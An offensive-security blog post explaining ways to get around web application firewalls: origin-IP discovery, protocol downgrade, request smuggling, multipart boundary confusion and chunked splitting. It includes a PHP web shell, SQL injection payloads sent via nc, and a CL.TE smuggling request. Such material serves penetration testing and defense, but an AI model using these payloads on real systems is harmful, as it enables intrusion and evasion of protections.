0xFFFF

offensive security research

A Guide to Non-Conventional WAF/IDS Evasion Techniques

2021-07-24

Most WAF bypass research focuses on obfuscating payloads to slip past rule sets. That works, but there is a better approach: bypass the WAF entirely. If your traffic never touches the WAF, its rules are irrelevant.

Direct origin IP access

Cloud WAFs (Cloudflare, Akamai, AWS WAF) sit in front of the origin server as a reverse proxy. If you can find the origin IP, you connect directly and skip the WAF completely.

Methods to discover origin IPs:

Once you have the origin IP, add it to /etc/hosts or use curl's --resolve flag:

curl --resolve target.com:443:203.0.113.50 https://target.com/vulnerable-endpoint

Protocol downgrade

WAFs typically inspect HTTP/1.1 traffic. Alternative protocols may not be inspected.

HTTP/0.9 - no headers, just a raw GET request. Some legacy servers still accept it:

printf 'GET /vuln.php?id=1+UNION+SELECT+1,2,3\r\n' | nc target.com 80

WebSocket upgrade - initiate a WebSocket connection through the WAF, then send HTTP-like requests over the WebSocket channel. Most WAFs do not inspect WebSocket frames.

HTTP/2 cleartext (h2c) - request an h2c upgrade. If the origin supports it but the WAF does not proxy h2c properly, your requests bypass inspection.

Request smuggling

When the WAF and the origin server disagree on where one request ends and the next begins, you can smuggle a malicious request past the WAF.

POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0

G

Classic CL.TE smuggling: the WAF uses Content-Length (sees 6 bytes, thinks the request is complete), while the origin uses Transfer-Encoding: chunked (reads until the 0\r\n terminator, leaving G as the start of the next request).

Multipart boundary abuse

WAFs parse multipart form data to inspect file uploads. But the multipart spec allows unusual boundary definitions that confuse parsers:

Content-Type: multipart/form-data; boundary=----,boundary=evil

------
Content-Disposition: form-data; name="file"; filename="shell.php"

<?php system($_GET['c']); ?>
--------

Some WAFs use the first boundary value while the origin uses the second (or vice versa). The WAF inspects the wrong segment.

Chunked encoding abuse

Split your payload across multiple chunks. Some WAFs only inspect the first chunk or fail to reassemble chunked bodies properly before inspection:

POST /search HTTP/1.1
Transfer-Encoding: chunked

3
q=1
4
+UNI
9
ON+SELECT
0

The approach is not about hiding the payload. It is about exploiting differences in how the WAF and the origin server reconstruct the request body.